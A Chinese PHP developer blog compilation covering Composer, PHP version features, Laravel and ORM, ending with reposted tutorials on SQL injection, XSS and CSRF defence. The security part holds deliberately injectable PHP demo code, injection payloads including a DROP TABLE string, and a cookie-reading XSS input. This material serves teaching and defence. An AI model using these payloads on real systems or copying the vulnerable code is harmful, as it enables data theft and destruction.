创建一个自动加载

  1. 在运行环境目录下创建一个文件夹 mkdir composer2
  2. 用composer 初始化:
    cd composer2
    composer init   根据提示输入相应的信息 然后初始化成功,看到目录下有composer.json
  3. vim composer.json
    加入:

    "autoload": {
        "psr-4": {
            "" : ""
        }
    }
  4. composer install
  5. 然后新建一个控制器类 如下图:
  6. 在控制器类写入测试代码
  7. 在composer2目录下创建入口文件index.php 编写代码:
    <?php
       require __DIR__.'/./vendor/autoload.php';
       $student = new \app\controllers\StudentController()
  8. 运行一下,没有报错吧,实现了自动加载

从PHP5.3到PHP7.1发生了哪些变化

本文来源于PHP官方文档

PHP 5.3

  • 添加了命名空间的支持.
  • 添加了静态晚绑定支持.
  • 添加了跳标签支持.
  • 添加了原生的闭包(Lambda/匿名函数)支持.
  • 新增了两个魔术方法, __callStatic 和 __invoke.
  • 添加了 Nowdoc 语法支持, 类似于 Heredoc 语法, 但是包含单引号.
  • 使用 Heredoc 来初始化静态变量和类属性/常量变为可能.
  • 可使用双引号声明 Heredoc, 补充了 Nowdoc 语法.
  • 可在类外部使用 const 关键词声明 常量.
  • 三元运算操作符有了简写形式: ?:.
  • HTTP 流包裹器将从 200 到 399 全部的状态码都视为成功。
  • 动态访问静态方法变为可能.
  • 异常可以被内嵌.
  • 新增了循环引用的垃圾回收器并且默认是开启的.
  • mail() 现在支持邮件发送日志. (注意: 仅支持通过该函数发送的邮件.)

PHP 5.4

  • 新增支持 traits 。
  • 新增短数组语法,比如 $a = [1, 2, 3, 4]; 或 $a = [‘one’ => 1, ‘two’ => 2, ‘three’ => 3, ‘four’ => 4]; 。
  • 新增支持对函数返回数组的成员访问解析,例如 foo()[0] 。
  • 现在 闭包 支持 $this 。
  • 现在不管是否设置 short_open_tag php.ini 选项,<?= 将总是可用。
  • 新增在实例化时访问类成员,例如: (new Foo)->bar() 。
  • 现在支持 Class::{expr}() 语法。
  • 新增二进制直接量,例如:0b001001101 。
  • 改进解析错误信息和不兼容参数的警告。
  • SESSION 扩展现在能追踪文件的 上传进度 。
  • 内置用于开发的 CLI 模式的 web server 。

PHP5.5

  • 新增 Generators
  • 新增 finally 关键字
  • foreach 现在支持 list()
  • empty() 支持任意表达式
  • array and string literal dereferencing ¶
  • 新的密码哈希 API
  • 改进 GD

PHP5.6

  • 使用表达式定义常量
  • 使用 … 运算符定义变长参数函数
  • 使用 … 运算符进行参数展开
  • 使用 ** 进行幂运算
  • use function 以及 use const
  • phpdbg
  • 默认字符编码
  • php://input 是可重用的了
  • 大文件上传(现在可以支持大于 2GB 的文件上传)
  • GMP 支持运算符重载
  • 使用 hash_equals() 比较字符串避免时序攻击
  • __debugInfo()
  • gost-crypto 散列算法
  • SSL/TLS 提升
  • pgsql 异步支持

PHP7.0

  • 标量类型声明
  • 返回值类型声明
  • null合并运算符
  • 太空船操作符(组合比较符)
  • 通过 define() 定义常量数组
  • 匿名类
  • Unicode codepoint 转译语法
  • Closure::call()
  • 为unserialize()提供过滤
  • IntlChar
  • 预期
  • Group use declarations
  • 生成器可以返回表达式
  • Generator delegation
  • 整数除法函数 intp()
  • 会话选项
  • preg_replace_callback_array()
  • CSPRNG Functions
  • 可以使用 list() 函数来展开实现了 ArrayAccess 接口的对象
  • 其他特性

PHP7.1

  • 可为空(Nullable)类型
  • Void 函数
  • Symmetric array destructuring
  • 类常量可见性
  • iterable 伪类
  • 多异常捕获处理
  • list()现在支持键名
  • 支持为负的字符串偏移量
  • ext/openssl 支持 AEAD
  • 通过 Closure::fromCallable() 将callables转为闭包
  • 异步信号处理
  • HTTP/2 server push support in ext/curl

以上就是从PHP5.3到PHP7.1发生了哪些变化的详细内容,更多请关注php中文网其它相关文章!

laravel Artisan的使用

  • Artisan 是laravel 中自带的命令行工具的名称
  • 由强大的Symfony  Console组件驱动的
  • 提供了一些对应用开发有帮助的命令
  • 查看所有可用的 Artisan命令:php artisan 或 php artisan list
  • 查看命令的帮助信息:php artisan help XXX
    例:比如我们要查询迁移这个命令的使用方法:php artisan help migrate
    例:查询如果使用make model :php artisan help make:model

Artisan基本使用:
查看laravel 版本:php artisan –version
查看所有路由:php artisan route:list
Artisan 功能使用:
创建控制器:php artisan make:controller StudentConller
创建模型:php artisan make:model Student
创建中间件:php artisan make:middleware Activity
生成auth: php artisan make:auth  然后使用迁移命令:php artisan migrate 看下数据库里面是不是生成了表(要先去env里面配置下数据库信息哦)

composer的使用

  1. 新建一个目录使用命令:composer init 初始化 按照提示输入初始需要的名称等信息
  2. composer search XXXXX  搜索 例:composer search phpmailer
  3. composer show –all XXXXX 列出所有可用的软件包  例:composer show –all phpmailer/phpmailer
  4. composer require XXXX  安装新的依赖包,并将依赖写入当前目录的 composer.json 文件中 例:composer require phpmailer/phpmailer
  5. composer install 依据当前目录下的 composer.lock(锁文件) 或 composer.json 文件,所定义的依赖关系,安装依赖包。(比如修改composer.json后,可用执行composer install 执行安装)
  6. composer update 更新依赖版本或者修改了composer.json 可用执行update命令
  7. composer config –lists 查看composer的配置信息
    学会上面这些命令 用composer 安装laravel yii2 tp5等是不是很容易了
  8. 如果还是不太明白 网上搜了一个视频可用参考下:https://www.imooc.com/learn/702 第一章有讲解composer的基本用法

ORM是什么?如何理解ORM

本文转自网络

一、ORM简介
对象关系映射(Object Relational Mapping,简称ORM)模式是一种为了解决面向对象与关系数据库存在的互不匹配的现象的技术。简单的说,ORM是通过使用描述对象和数据库之间映射的元数据,将程序中的对象自动持久化到关系数据库中。那么,到底如何实现持久化呢?一种简单的方案是采用硬编码方式,为每一种可能的数据库访问操作提供单独的方法。
这种方案存在以下不足:
1.持久化层缺乏弹性。一旦出现业务需求的变更,就必须修改持久化层的接口
2.持久化层同时与域模型与关系数据库模型绑定,不管域模型还是关系数据库模型发生变化,毒药修改持久化曾的相关程序代码,增加了软件的维护难度。

ORM提供了实现持久化层的另一种模式,它采用映射元数据来描述对象关系的映射,使得ORM中间件能在任何一个应用的业务逻辑层和数据库层之间充当桥梁。Java典型的ORM中间件有:Hibernate,ibatis,speedframework。
ORM的方法论基于三个核心原则:
· 简单:以最基本的形式建模数据。
· 传达性:数据库结构被任何人都能理解的语言文档化。
· 精确性:基于数据模型创建正确标准化了的结构。

二、ORM的概念
让我们从O/R开始。字母O起源于”对象”(Object),而R则来自于”关系”(Relational)。几乎所有的程序里面,都存在对象和关系数据库。在业务逻辑层和用户界面层中,我们是面向对象的。当对象信息发生变化的时候,我们需要把对象的信息保存在关系数据库中。
当你开发一个应用程序的时候(不使用O/R Mapping),你可能会写不少数据访问层的代码,用来从数据库保存,删除,读取对象信息,等等。你在DAL中写了很多的方法来读取对象数据,改变状态对象等等任务。而这些代码写起来总是重复的。

ORM解决的主要问题是对象关系的映射。域模型和关系模型分别是建立在概念模型的基础上的。域模型是面向对象的,而关系模型是面向关系的。一般情况下,一个持久化类和一个表对应,类的每个实例对应表中的一条记录,类的每个属性对应表的每个字段。
ORM技术特点:
1.提高了开发效率。由于ORM可以自动对Entity对象与数据库中的Table进行字段与属性的映射,所以我们实际可能已经不需要一个专用的、庞大的数据访问层。
2.ORM提供了对数据库的映射,不用sql直接编码,能够像操作对象一样从数据库获取数据。

三、ORM的优缺点
ORM的缺点是会牺牲程序的执行效率和会固定思维模式。
从系统结构上来看,采用ORM的系统一般都是多层系统,系统的层次多了,效率就会降低。ORM是一种完全的面向对象的做法,而面向对象的做法也会对性能产生一定的影响。

在我们开发系统时,一般都有性能问题。性能问题主要产生在算法不正确和与数据库不正确的使用上。ORM所生成的代码一般不太可能写出很高效的算法,在数据库应用上更有可能会被误用,主要体现在对持久对象的提取和和数据的加工处理上,如果用上了ORM,程序员很有可能将全部的数据提取到内存对象中,然后再进行过滤和加工处理,这样就容易产生性能问题。
在对对象做持久化时,ORM一般会持久化所有的属性,有时,这是不希望的。
但ORM是一种工具,工具确实能解决一些重复,简单的劳动。这是不可否认的。但我们不能指望工具能一劳永逸的解决所有问题,有些问题还是需要特殊处理的,但需要特殊处理的部分对绝大多数的系统,应该是很少的。

phpstrom 添加laravel智能提示

用laravel的时候发现 phpstrom并不能很好智能提示于是度娘上搜了一下,方法如下:

  1. 先在phpstrom 中添加插件 如下图 (我的机子已经装过)
  2. composer 安装 barryvdh/laravel-ide-helper
    直接在terminal中执行: composer require barryvdh/laravel-ide-helper
    耐心等待一会
  3. 安装成功后,在 项目中的 conifg/app.php 的providers的数组中添加类的支持
  4. 重启phpstrom 已经完美提示laravel

laravel 安装

laravel 中文网站: https://www.golaravel.com/

安装方式一:下载安装

  1. 下载
    可以从github上下载 官方开源地址:https://github.com/laravel/laravel/ 默认打开是 master分支 最新版本,可以选择你需要的版本

    点击 右边 clone or download 即可

  2. 安装
    放在web运行目录 指向public 目录,
    (1)如果出现错误“failed to open stream: No such file or directory in /bootstrap/autoload.php”  在laravel目录下 运行 composer install  然后抽支烟或者喝杯咖啡,静静等一会,要点时间的…… (如果composer 还没安装,那需要先安装下composer哦)
    (2)如果出现:“Whoops, looks like something went wrong.”按照下面方法操作
    1.开启调试模式
    打开项目目录下config/app.php修改:
    ‘debug’ => env(‘APP_DEBUG’, true)
    2.修改根目录.env.example文件为.env: mv .env.example .env
    3.执行命令生成key
    php artisan key:generate
    结果出现 set successfully.
    执行好后,查看下.env文件 看看生成的key 是不是在文件里面啦,现在刷新页面试试,看到了帅气的

    安装方式二:通过composer  create-project 安装

    laravel 为什么可以通过composer安装呢?因为composer里有laravel包
    在要安装的WEB目录下输入命令: composer create-project –prefer-dist laravel/laravel laravel_test(laravel_test 是你要安装的目录名称 可以自己定义)
    耐心等待一会就安装成功了

     

 

mac 下composer 安装

方式一:mac下可以使用

brew install composer

方式二:官方安装命令

php -r "copy('https://install.phpcomposer.com/installer', 'composer-setup.php');"
php composer-setup.php
php -r "unlink('composer-setup.php');"

执行第一条命令下载下来的 composer-setup.php 脚本将简单地检测 php.ini 中的参数设置,如果某些参数未正确设置则会给出警告;然后下载最新版本的 composer.phar 文件到当前目录。

上述 3 条命令的作用依次是:

  1. 下载安装脚本 - composer-setup.php - 到当前目录。
  2. 执行安装过程。
  3. 删除安装脚本。

    局部安装

    上述下载 Composer 的过程正确执行完毕后,可以将 composer.phar 文件复制到任意目录(比如项目根目录下),然后通过 php composer.phar 指令即可使用 Composer 了!

    全局安装

    全局安装是将 Composer 安装到系统环境变量 PATH 所包含的路径下面,然后就能够在命令行窗口中直接执行 composer 命令了。

    Mac 或 Linux 系统:

    打开命令行窗口并执行如下命令将前面下载的 composer.phar 文件移动到 /usr/local/bin/ 目录下面:

    复制
    sudo mv composer.phar /usr/local/bin/composer
    

    Mac 或 Linux 系统:

    打开命令行窗口并执行如下命令将前面下载的 composer.phar 文件移动到 /usr/local/bin/ 目录下面:

    复制
    sudo mv composer.phar /usr/local/bin/composer
    

     如果使用中国全量镜像?打开终端输入以下命令即可

    composer config -g repo.packagist composer https://packagist.phpcomposer.com
  4. 使用composer 的时候 我经常使用家里宽带网络报错( failed to open stream),换成4G 就能顺利使用,镜像还是不稳定吧。

Web安全之SQL注入攻击技巧与防范

注:本文转自网络

在Web1.0时代,人们更多是关注服务器端动态脚本语言的安全问题,比如将一个可执行脚本(俗称Webshell)通过脚本语言的漏洞上传到服务器上,从而获得服务器权限。在Web发展初期,随着动态脚本语言的发展和普及,以及早期工程师对安全问题认知不足导致很多”安全血案”的发生,至今仍然遗留下许多历史问题,比如PHP语言至今仍然无法从语言本身杜绝「文件包含漏洞」(参见这里),只能依靠工程师良好的代码规范和安全意识。

 

伴随着Web2.0、社交网络、微博等一系列新型互联网产品的兴起,基于Web环境的互联网应用越来越广泛,Web攻击的手段也越来越多样,Web安全史上的一个重要里程碑是大约1999年发现的SQL注入攻击,之后的XSS,CSRF等攻击手段愈发强大,Web攻击的思路也从服务端转向了客户端,转向了浏览器和用户。

在安全领域,一般用帽子的颜色来比喻黑客的善与恶,白帽子是指那些工作在反黑客领域的技术专家,这个群体是”善”的的象征;而黑帽子则是指那些利用黑客技术造成破坏甚至谋取私利造成犯罪的群体,他们是”恶”的代表。

“白帽子”和”黑帽子”是两个完全对立的群体。对于黑帽子而言,他们只要找到系统的一个切入点就可以达到入侵破坏的目的,而白帽子必须将自己系统所有可能被突破的地方都设防,以保证系统的安全运行。

这看起来好像是不公平的,但是安全世界里的规则就是这样,可能我们的网站1000处都布防的很好,考虑的很周到,但是只要有一个地方疏忽了,攻击者就会利用这个点进行突破,让我们另外的1000处努力白费。

常见攻击方式

一般说来,在Web安全领域,常见的攻击方式大概有以下几种:
1、SQL注入攻击
2、跨站脚本攻击 – XSS
3、跨站伪造请求攻击 – CSRF
4、文件上传漏洞攻击
5、分布式拒绝服务攻击 – DDOS

说个题外话,本来这篇文章一开始的标题叫做 「Web安全之常见攻击方法与防范」,我原本想把上面的这5种方法都全部写在一篇文章里,可是刚写完第一个SQL注入攻击的时候,就发现文章篇幅已经不短了,又很难再进行大幅度的精简,所以索性把Web安全分成一个系列,分多篇文章来呈现给大家,下面你看到的就是第一篇「Web安全之SQL注入攻击的技巧与防范」。

SQL注入常见攻击技巧

SQL注入攻击是Web安全史上的一个重要里程碑,它从1999年首次进入人们的视线,至今已经有十几年的历史了,虽然我们现在已经有了很全面的防范对策,但是它的威力仍然不容小觑,SQL注入攻击至今仍然是Web安全领域中的一个重要组成部分。

以PHP+MySQL为例,让我们以一个Web网站中最基本的用户系统来做实例演示,看看SQL注入究竟是怎么发生的。

1、创建一个名为demo的数据库:

1
CREATE DATABASE  `demo` DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci;

2、创建一个名为user的数据表,并插入1条演示数据:

1
2
3
4
5
6
CREATE TABLE  `demo`.`user` (
`uid` INT( 11 ) NOT NULL AUTO_INCREMENT PRIMARY KEY COMMENT  '用户uid',
`username` VARCHAR( 20 ) NOT NULL COMMENT  '用户名',
`password` VARCHAR( 32 ) NOT NULL COMMENT  '用户密码'
) ENGINE = INNODB;
INSERT INTO `demo`.`user` (`uid`, `username`, `password`) VALUES ('1', 'plhwin', MD5('123456'));

实例一

通过传入username参数,在页面打印出这个会员的详细信息,编写 userinfo.php 程序代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
header('Content-type:text/html; charset=UTF-8');
$username = isset($_GET['username']) ? $_GET['username'] : '';
$userinfo = array();
if($username){
	//使用mysqli驱动连接demo数据库
	$mysqli = new mysqli("localhost", "root", "root", 'demo');
	$sql = "SELECT uid,username FROM user WHERE username='{$username}'";
	//mysqli multi_query 支持执行多条MySQL语句
	$query = $mysqli->multi_query($sql);
	if($query){
		do {
			$result = $mysqli->store_result();
			while($row = $result->fetch_assoc()){
				$userinfo[] = $row;
			}
			if(!$mysqli->more_results()){
				break;
			}
		} while ($mysqli->next_result());
	}
}
echo '<pre>',print_r($userinfo, 1),'</pre>';

上面这个程序要实现的功能是根据浏览器传入的用户名参数,在页面上打印出这个用户的详细信息,程序写的这么复杂是因为我采用了mysqli的驱动,以便能使用到 multi_query 方法来支持同时执行多条SQL语句,这样能更好的说明SQL注入攻击的危害性。

假设我们可以通过 http://localhost/test/userinfo.php?username=plhwin 这个URL来访问到具体某个会员的详情,正常情况下,如果浏览器里传入的username是合法的,那么SQL语句会执行:

1
SELECT uid,username FROM user WHERE username='plhwin'

但是,如果用户在浏览器里把传入的username参数变为 plhwin';SHOW TABLES-- hack,也就是当URL变为 http://localhost/test/userinfo.php?username=plhwin';SHOW TABLES-- hack 的时候,此时我们程序实际执行的SQL语句变成了:

1
SELECT uid,username FROM user WHERE username='plhwin';SHOW TABLES-- hack'

注意:在MySQL中,最后连续的两个减号表示忽略此SQL减号后面的语句,我本机的MySQL版本号为5.6.12,目前几乎所有SQL注入实例都是直接采用两个减号结尾,但是实际测试,这个版本号的MySQL要求两个减号后面必须要有空格才能正常注入,而浏览器是会自动删除掉URL尾部空格的,所以我们的注入会在两个减号后面统一添加任意一个字符或单词,本篇文章的SQL注入实例统一以 -- hack 结尾。

经过上面的SQL注入后,原本想要执行查询会员详情的SQL语句,此时还额外执行了 SHOW TABLES; 语句,这显然不是开发者的本意,此时可以在浏览器里看到页面的输出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Array
(
    [0] => Array
        (
            [uid] => 1
            [username] => plhwin
        )

    [1] => Array
        (
            [Tables_in_demo] => user
        )

)

你能清晰的看到,除了会员的信息,数据库表的名字user也被打印在了页面上,如果作恶的黑客此时将参数换成 plhwin';DROP TABLE user-- hack,那将产生灾难性的严重结果,当你在浏览器中执行 http://localhost/test/userinfo.php?username=plhwin';DROP TABLE user-- hack 这个URL后,你会发现整个 user 数据表都消失不见了。

通过上面的例子,大家已经认识到SQL注入攻击的危害性,但是仍然会有人心存疑问,MySQL默认驱动的mysql_query方法现在已经不支持多条语句同时执行了,大部分开发者怎么可能像上面的演示程序那样又麻烦又不安全。

是的,在PHP程序中,MySQL是不允许在一个mysql_query中使用分号执行多SQL语句的,这使得很多开发者都认为MySQL本身就不允许多语句执行了,但实际上MySQL早在4.1版本就允许多语句执行,通过PHP的源代码,我们发现其实只是PHP语言自身限制了这种用法,具体情况大家可以看看这篇文章「PHP+MySQL多语句执行」。

实例二

如果系统不允许同时执行多条SQL语句,那么SQL注入攻击是不是就不再这么可怕呢?答案是否定的,我们仍然以上面的user数据表,用Web网站中常用的会员登录系统来做另外一个场景实例,编写程序login.php,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
if($_POST){
	$link = mysql_connect("localhost", "root", "root");
	mysql_select_db('demo', $link);
	$username = empty($_POST['username']) ? '' : $_POST['username'];
	$password = empty($_POST['password']) ? '' : $_POST['password'];
	$md5password = md5($password);
	$sql = "SELECT uid,username FROM user WHERE username='{$username}' AND password='{$md5password}'";
	$query = mysql_query($sql, $link);
	$userinfo = mysql_fetch_array($query, MYSQL_ASSOC);
	if(!empty($userinfo)){
		//登录成功,打印出会员信息
		echo '<pre>',print_r($userinfo, 1),'</pre>';
	} else {
		echo "用户名不存在或密码错误!";
	}
}
?>
<!DOCTYPE html>
<html>
<head>
	<meta charset="utf-8">
	<title>Web登录系统SQL注入实例</title>
</head>
<body>
	<form name="LOGIN_FORM" method="post" action="">
	登录帐号: <input type="text" name="username" value="" size=30 /><br /><br />
	登录密码: <input type="text" name="password" value="" size=30 /><br /><br />
	<input type="submit" value="登录" />
	</form>
</body>
</html>

此时如果输入正确的用户名 plhwin 和密码 123456,执行的SQL语句为:

1
SELECT uid,username FROM user WHERE username='plhwin' AND password='e10adc3949ba59abbe56e057f20f883e'

上面语句没有任何问题,可以看到页面打印出了登录成功后的会员信息,但如果有捣蛋鬼输入的用户名为 plhwin' AND 1=1-- hack,密码随意输入,比如aaaaaa,那么拼接之后的SQL查询语句就变成了如下内容:

1
SELECT uid,username FROM user WHERE username='plhwin' AND 1=1-- hack' AND password='0b4e7a0e5fe84ad35fb5f95b9ceeac79'

执行上面的SQL语句,因为1=1是永远成立的条件,这意味着黑客只需要知道别人的会员名,无需知道密码就能顺利登录到系统。

如何确定SQL注入漏洞

通过以上的实例,我们仍然还会有疑问:黑客并不知道我们程序代码的逻辑和SQL语句的写法,他是如何确定一个网站是否存在SQL注入漏洞呢?一般说来有以下2种途径:

1、错误提示

如果目标Web网站开启了错误显示,攻击者就可以通过反复调整发送的参数、查看页面打印的错误信息,推测出Web网站使用的数据库和开发语言等重要信息。

2、盲注

除非运维人员疏忽,否则大部分的Web运营网站应该都关闭了错误提示信息,此时攻击者一般会采用盲注的技巧来进行反复的尝试判断。 仍然以上面的数据表user为例,我们之前的查看会员详情页面的url地址为userinfo.php?username=plhwin,此时黑客分别访问userinfo.php?username=plhwin' AND 1=1-- hackuserinfo.php?username=plhwin' AND 1=2-- hack,如果前者访问能返回正常的信息而后者不能,就基本可以判断此网站存在SQL注入漏洞,因为后者的1=2这个表达式永远不成立,所以即使username传入了正确的参数也无法通过,由此可以推断这个页面存在SQL注入漏洞,并且可以通过username参数进行注入。

如何防御SQL注入

对于服务器配置层面的防范,应该保证生产环境的Webserver是关闭错误信息的,比如PHP在生产环境的配置文件php.ini中的display_errors应该设置为Off,这样就关闭了错误提示,下面我们更多的从编码的角度来看看如何防范SQL注入。

上面用两个实例分析了SQL注入攻击的技巧,可以看到,但凡有SQL注入漏洞的程序,都是因为程序要接受来自客户端用户输入的变量或URL传递的参数,并且这个变量或参数是组成SQL语句的一部分,对于用户输入的内容或传递的参数,我们应该要时刻保持警惕,这是安全领域里的「外部数据不可信任」的原则,纵观Web安全领域的各种攻击方式,大多数都是因为开发者违反了这个原则而导致的,所以自然能想到的,就是从变量的检测、过滤、验证下手,确保变量是开发者所预想的。

1、检查变量数据类型和格式

如果你的SQL语句是类似where id={$id}这种形式,数据库里所有的id都是数字,那么就应该在SQL被执行前,检查确保变量id是int类型;如果是接受邮箱,那就应该检查并严格确保变量一定是邮箱的格式,其他的类型比如日期、时间等也是一个道理。总结起来:只要是有固定格式的变量,在SQL语句执行前,应该严格按照固定格式去检查,确保变量是我们预想的格式,这样很大程度上可以避免SQL注入攻击。

比如,我们前面接受username参数例子中,我们的产品设计应该是在用户注册的一开始,就有一个用户名的规则,比如5-20个字符,只能由大小写字母、数字以及一些安全的符号组成,不包含特殊字符。此时我们应该有一个check_username的函数来进行统一的检查。不过,仍然有很多例外情况并不能应用到这一准则,比如文章发布系统,评论系统等必须要允许用户提交任意字符串的场景,这就需要采用过滤等其他方案了。

2、过滤特殊符号

对于无法确定固定格式的变量,一定要进行特殊符号过滤或转义处理。以PHP为例,通常是采用addslashes函数,它会在指定的预定义字符前添加反斜杠转义,这些预定义的字符是:单引号 (') 双引号 (") 反斜杠 (\) NULL

来看2条SQL语句:

1
2
3
$uid = isset($_GET['uid']) ? $_GET['uid'] : 0;
$uid = addslashes(uid);
$sql = "SELECT uid,username FROM user WHERE uid='{$uid}'";

以及

1
2
3
$uid = isset($_GET['uid']) ? $_GET['uid'] : 0;
$uid = addslashes(uid);
$sql = "SELECT uid,username FROM user WHERE uid={$uid}";

上面两个查询语句都经过了php的addslashes函数过滤转义,但在安全性上却大不相同,在MySQL中,对于int类型字段的条件查询,上面个语句的查询效果完全一样,由于第一句SQL的变量被单引号包含起来,SQL注入的时候,黑客面临的首要问题是必须要先闭合前面的单引号,这样才能使后面的语句作为SQL执行,并且还要注释掉原SQL语句中的后面的单引号,这样才可以成功注入,由于代码里使用了addslashes函数,黑客的攻击会无从下手,但第二句没有用引号包含变量,那黑客也不用考虑去闭合、注释,所以即便同样采用addslashes转义,也还是存在SQL攻击漏洞。

对于PHP程序+MySQL构架的程序,在动态的SQL语句中,使用单引号把变量包含起来配合addslashes函数是应对SQL注入攻击的有效手段,但这做的还不够,像上面的2条SQL语句,根据「检查数据类型」的原则,uid都应该经过intval函数格式为int型,这样不仅能有效避免第二条语句的SQL注入漏洞,还能使得程序看起来更自然,尤其是在NoSQL(如MongoDB)中,变量类型一定要与字段类型相匹配才可以。

从上面可以看出,第二个SQL语句是有漏洞的,不过由于使用了addslashes函数,你会发现黑客的攻击语句也存在不能使用特殊符号的条件限制,类似where username='plhwin'这样的攻击语句是没法执行的,但是黑客可以将字符串转为16进制编码数据或使用char函数进行转化,同样能达到相同的目的,如果对这部分内容感兴趣,可以点击这里查看。而且由于SQL保留关键字,如「HAVING」、「ORDER BY」的存在,即使是基于黑白名单的过滤方法仍然会有或多或少问题,那么是否还有其他方法来防御SQL注入呢?

3、绑定变量,使用预编译语句

MySQL的mysqli驱动提供了预编译语句的支持,不同的程序语言,都分别有使用预编译语句的方法,我们这里仍然以PHP为例,编写userinfo2.php代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
header('Content-type:text/html; charset=UTF-8');
$username = isset($_GET['username']) ? $_GET['username'] : '';
$userinfo = array();
if($username){
	//使用mysqli驱动连接demo数据库
	$mysqli = new mysqli("localhost", "root", "root", 'demo');
	//使用问号替代变量位置
	$sql = "SELECT uid,username FROM user WHERE username=?";
	$stmt = $mysqli->prepare($sql);
	//绑定变量
	$stmt->bind_param("s", $username);
	$stmt->execute();
	$stmt->bind_result($uid, $username);
	while ($stmt->fetch()) {
	    $row = array();
	    $row['uid'] = $uid;
	    $row['username'] = $username;
	    $userinfo[] = $row;
	}
}
echo '<pre>',print_r($userinfo, 1),'</pre>';

从上面的代码可以看到,我们程序里并没有使用addslashes函数,但是浏览器里运行http://localhost/test/userinfo2.php?username=plhwin' AND 1=1-- hack里得不到任何结果,说明SQL漏洞在这个程序里并不存在。

实际上,绑定变量使用预编译语句是预防SQL注入的最佳方式,使用预编译的SQL语句语义不会发生改变,在SQL语句中,变量用问号?表示,黑客即使本事再大,也无法改变SQL语句的结构,像上面例子中,username变量传递的plhwin' AND 1=1-- hack参数,也只会当作username字符串来解释查询,从根本上杜绝了SQL注入攻击的发生。

数据库信息加密安全

相信大家都还对2011年爆出的CSDN拖库事件记忆犹新,这件事情导致CSDN处在风口浪尖被大家痛骂的原因就在于他们竟然明文存储用户的密码,这引发了科技界对用户信息安全尤其是密码安全的强烈关注,我们在防范SQL注入的发生的同时,也应该未雨绸缪,说不定下一个被拖库的就是你,谁知道呢。

在Web开发中,传统的加解密大致可以分为三种:

1、对称加密:即加密方和解密方都使用相同的加密算法和密钥,这种方案的密钥的保存非常关键,因为算法是公开的,而密钥是保密的,一旦密匙泄露,黑客仍然可以轻易解密。常见的对称加密算法有:AESDES等。

2、非对称加密:即使用不同的密钥来进行加解密,密钥被分为公钥和私钥,用私钥加密的数据必须使用公钥来解密,同样用公钥加密的数据必须用对应的私钥来解密,常见的非对称加密算法有:RSA等。

3、不可逆加密:利用哈希算法使数据加密之后无法解密回原数据,这样的哈希算法常用的有:md5SHA-1等。

在我们上面登录系统的示例代码中,$md5password = md5($password);从这句代码可以看到采用了md5的不可逆加密算法来存储密码,这也是多年来业界常用的密码加密算法,但是这仍然不安全。为什么呢?

这是因为md5加密有一个特点:同样的字符串经过md5哈希计算之后生成的加密字符串也是相同的,由于业界采用这种加密的方式由来已久,黑客们也准备了自己强大的md5彩虹表来逆向匹配加密前的字符串,这种用于逆向反推MD5加密的彩虹表在互联网上随处可见,在Google里使用md5 解密作为关键词搜索,一下就能找到md5在线破解网站,把我们插入用户数据时候的MD5加密字符串e10adc3949ba59abbe56e057f20f883e填入进去,瞬间就能得到加密前的密码:123456。当然也并不是每一个都能成功,但可以肯定的是,这个彩虹表会越来越完善。

所以,我们有迫切的需求采用更好的方法对密码数据进行不可逆加密,通常的做法是为每个用户确定不同的密码加盐(salt)后,再混合用户的真实密码进行md5加密,如以下代码:

1
2
3
4
5
6
7
8
9
<?php
//用户注册时候设置的password
$password = $_POST['password'];
//md5加密,传统做法直接将加密后的字符串存入数据库,但这不够,我们继续改良
$passwordmd5 = md5($password);
//为用户生成不同的密码盐,算法可以根据自己业务的需要而不同
$salt = substr(uniqid(rand()), -6);
//新的加密字符串包含了密码盐
$passwordmd5 = md5($passwordmd5.$salt);

小结

1、不要随意开启生产环境中Webserver的错误显示。
2、永远不要信任来自用户端的变量输入,有固定格式的变量一定要严格检查对应的格式,没有固定格式的变量需要对引号等特殊字符进行必要的过滤转义。
3、使用预编译绑定变量的SQL语句。
4、做好数据库帐号权限管理。
5、严格加密处理用户的机密信息。

Web攻防之XSS,CSRF,SQL注入(转)

注:文章来自网络

摘要:对Web服务器的攻击也可以说是形形色色、种类繁多,常见的有挂马、SQL注入、缓冲区溢出、嗅探、利用IIS等针对Webserver漏洞进行攻击。本文结合WEB TOP10漏洞中常见的SQL注入,跨站脚本攻击(XSS),跨站请求伪造(CSRF)攻击的产生原理,介绍相应的防范方法。
关键字:SQL注入,XSS,CSRF
1.SQL注入
所谓SQL注入式攻击,就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令。 攻击者通过在应用程序预先定义好的SQL语句结尾加上额外的SQL语句元素,欺骗数据库服务器执行非授权的查询,篡改命令。
它能够轻易的绕过防火墙直接访问数据库,甚至能够获得数据库所在的服务器的系统权限。在Web应用漏洞中,SQL Injection 漏洞的风险要高过其他所有的漏洞。
攻击原理

假设的登录查询

SELECT * FROM users WHERE login = ‘victor’ AND password = ‘123

Sever端代码

String sql = “SELECT * FROM users WHERE login = ‘” + formusr + “‘ AND password = ‘” + formpwd + “‘”;

输入字符

formusr = ‘ or 1=1

formpwd = anything

实际的查询代码

SELECT * FROM users WHERE username = ‘ ‘ or 1=1 AND password = ‘anything’

发现注入点简单办法
1.寻找带有查询字符串的url的网页(例如,查询那些在URL里带有”id=” 的URL)。
2.向这个网站发送一个请求,改变其中的id=语句,带一个额外的单引号(例如:id=123’)。
3.查看返回的内容,在其中查找“sql”,“statement”等关键字(这也说明返回了具体的错误信息,这本身就很糟糕)。

4.错误消息是否表示发送到SQL服务器的参数没有被正确编码果如此,那么表示可对该网站进行SQL注入攻击。
如何防范SQL注入攻击
点击这里查看

2.跨站脚本攻击(XSS)
XSS 全称(Cross Site Scripting) 跨站脚本攻击, 是Web程序中最常见的漏洞。指攻击者在网页中嵌入客户端脚本(例如JavaScript), 当用户浏览此网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的. 比如获取用户的Cookie,导航到恶意网站,携带木马等。
攻击原理

假如页面有如下一个输入框

<input type=”text” name=”record” value=”沙发”>

【沙发】是来自用户的输入,如果用户输入的是”onfocus=”alert(document.cookie)

那么就会变成

<input type=”text” name=”address1″ value=”” onfocus=”alert(document.cookie)”>

事件被触发的时候嵌入的JavaScript代码将会被执行

攻击的威力,取决于用户输入了什么样的脚本。

XSS分类
1. 反射型XSS
